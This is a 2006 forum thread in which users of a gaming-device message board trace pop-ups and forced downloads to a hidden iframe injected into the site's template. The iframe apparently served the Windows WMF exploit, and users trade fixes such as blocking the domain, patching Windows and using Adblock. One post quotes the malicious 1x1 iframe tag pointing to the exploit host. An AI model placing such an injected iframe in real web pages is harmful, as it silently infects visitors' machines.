Xpladdv725.wmf????

[Rico]

Regardless of the cause of this problem, we are upgrading the forum software soon to counter any security exploits. In the meantime switch to Firefox (I never recieved any pop-ups or file downloads) or use the HOSTS file fix mentioned earlier by luteijn.

 

[gaterooze]

Yeah I know get firefox blah,blah. I may not feel like fucking around with installing browsers right now.

Considering how much issues in emulators bug you I'm AMAZED you don't use Firefox. It's really like DrMDX compared to a slow, buggy alpha of a BBC emulator.

You will be stunned how much quicker, more efficient, and SO MUCH more advanced it is.

(IMHO Opera is even better, but it's really down to personal taste)

 

[Kensupen]

Quick fix for IE users:

1. Click on the Tools menu
2. Click on the Internet Options
3. Click on the Security tab
4. Click on Restricted Sites icon
5. Click on the Sites button
6. put "traffsale1.biz" in the textbox and click Add

You will only get an error about the page not loading right, but it stops the download.

-Kensupen

 

[Mr.Jabberwocky]

I use opera and only had dialogue boxes popping up while purist's stupid Anna Hong sig appeared. Never had them before and since the sig has been removed they have stopped. Was this a coincidence ?

 

[Shikaku]

I use opera and only had dialogue boxes popping up while purist's stupid Anna Hong sig appeared. Never had them before and since the sig has been removed they have stopped. Was this a coincidence ?

​

That's not true.

The IFRAME which is doing this is still there (I am looking at it as I type this)...

It's right above the box where it says "Logged in as: *whoever*"

 

[Aninhumer]

couldnt be bothered installing antivirus software, but i should be alright with firefox right? /no1

​

Install some antivirus software anyway, I use AVG-free and ADAware SE personal, both free and offer something like 90% protection. Combined with Firefox this makes me nearly impregnable

 

[nickspoon]

Wewt, another AVG user!

Whatever you do, do NOT use Norton. It'll open back doors, front doors and the cat flap.

 

[Mr.Jabberwocky]

I use opera and only had dialogue boxes popping up while purist's stupid  Anna Hong sig appeared.  Never had them before and since the sig has been removed they have stopped.  Was this a coincidence ?

​

That's not true.

The IFRAME which is doing this is still there (I am looking at it as I type this)...

It's right above the box where it says "Logged in as: *whoever*"

​

It is true. That is what happened. It is most likely coincidence. Why did the code, which is still there, suddenly stop affecting me ? It was popping up every time I clicked something - now nothing.

 

[(naw)mcx]

It'll open back doors, front doors and the cat flap.

​

That made me laugh for some reason. Lol cat flaps

And I checked traffsale1.biz and it is the fedora core test. Wtf?

 

[BenRoshi]

*hugs best browser eva*

 

[Javacat]

I noticed that little iframe just now and was wondering what it was. I just added "http://traffsale1.biz/" to adblock in firefox and all is well again in the world of Javacat .


If you google traffsale, you'll see that this is popping up all over the internet.

 

[Nova]

I have firefox and avast!'d every computer in the house. Try to penetrate my fort now!

 

[nickspoon]

Google search for traffsale:

Did you mean truffle?

That made me laugh for some reason.

 

[ThorC]

What the problem is, if you haven't heard of it already (It's been quite in the news recently) is an exploit in the WMF rendering code in Windows (MS Security bulletin).

This exploit allows an attacker to run code on your PC and do anything they wish, basically, all through the browser simply rendering the image (WMF images are rendered through instructions, and the code can be contained in the instructions).

Any application that automatically displays a WMF image will cause the user’s machines to get infected. This includes older versions of Firefox, current versions of Opera, Outlook and all current version of Internet Explorer on all versions of Windows.

(Sunbelt Security

This has been patched, so that the code won't do anything. If you have not updated windows, I highly recommend you do so now as that will protect you (you will need to restart afterwards)

If you haven't stayed updated, and have visited the site, it is possible you are already infected. The code can execute without you even realising, behind the scenes. If this is the case, I highly recommend you do a virus scan.

The worrying question is, why is gp32x using an iframe with the exploit in (which would exploit all gp32x users not up to date)?

A few possibly worrying answers come to mind:

a) The site was hacked, and the code was placed in the template
B) It was a way for the admins of the site to make money, so they placed the code in

Either way, it is worrying :/

 

[Nova]

I just noticed this on the boards, and i have never seen it before. Could it be anything to do with this virus thing?

 

[ThorC]

I just noticed this on the boards, and i have never seen it before. Could it be anything to do with this virus thing?

That is indeed the culprit

<iframe src="http://traffsale1.biz/dl/adv725.php" width=1 height=1></iframe>

For some reason, there is an iframe (allowing the display of another website within this one, in this case, the exploit website from this one) just above the login information, and within it, is the exploit

Furthermore, it seems that the page attempts to exploit a number of different security holes. If your browser blocked one of them, it's possible another one of the exploits got through (without you knowing).

 

[Aninhumer]

I just noticed this on the boards, and i have never seen it before. Could it be anything to do with this virus thing?

That's the iFrame we're all talking about

 

[Nova]

oops.

 

[nickspoon]

If you're using Firefox, get Adblock if you haven't already, click the Adblock thing on the bottom-right corner of your browser and choose the entry that begins with http://traffsale1.biz. Click OK, and that pesky iframe goes away.

 

[ThorC]

On the plus side, it seems that the URL is currently dead

This is the source I got from it:

HTTP/1.1 200 OK
Connection: close
Date: Sun, 05 Mar 2006 21:57:31 GMT
Server: Apache/2.0.54 (Fedora)
Content-Length: 0
Content-Type: text/html
Client-Date: Sun, 05 Mar 2006 13:59:14 GMT
Client-Peer: 85.249.23.119:80
Client-Response-Num: 1
Set-Cookie: dial=uniq; expires=Mon, 06 Mar 2006 21:57:31 GMT
X-Powered-By: PHP/5.0.4

There is no HTML contnet beyond that point. It seems whatever was there, is gone now - or at least to me. Either that, or for some reason it's not sending me the source.

Someone commented earlier...

It is true. That is what happened. It is most likely coincidence. Why did the code, which is still there, suddenly stop affecting me ? It was popping up every time I clicked something - now nothing.

...that they suddenly stopped getting the box - could be that the exploit code (on the exploit page, that is - the code pointing to that page from gp32x is still presented) disappeared, perhaps?